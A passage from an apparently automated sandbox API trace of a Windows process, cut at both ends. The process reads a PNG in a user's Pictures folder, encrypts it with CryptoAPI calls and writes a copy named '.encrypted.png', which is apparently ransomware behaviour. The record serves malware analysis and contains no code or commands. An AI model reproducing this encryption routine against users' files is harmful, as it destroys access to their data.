Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.260] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.260] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.261] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.261] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.261] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.262] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\l6fx8sicimwq0qgomdx1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.262] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.262] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2")) returned 0x10 [0028.263] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\L6Fx8siCimWQ0qgOMDX1.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\l6fx8sicimwq0qgomdx1.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.265] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.265] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x776e, lpOverlapped=0x0) returned 1 [0028.266] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.268] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.269] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.269] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.269] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.269] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.269] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.269] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.270] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.270] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.270] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.270] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.270] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.271] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.271] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.271] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x776e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x7770) returned 1 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.271] CharLowerBuffW (in: lpsz="byte[30577]", cchLength=0xb | out: lpsz="byte[30577]") returned 0xb [0028.271] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.272] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.272] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43906b0*, pdwDataLen=0xe8f3dfdf68*=0x776e, dwBufLen=0x7770 | out: pbData=0xe8f43906b0*, pdwDataLen=0xe8f3dfdf68*=0x7770) returned 1 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.272] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.272] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.272] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.272] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.273] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.273] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.273] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.274] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.274] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.274] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.275] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.275] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.275] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.275] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.275] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.275] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.276] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.276] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.276] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.276] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.276] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.276] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.276] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.277] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.277] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0028.277] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.277] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.277] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 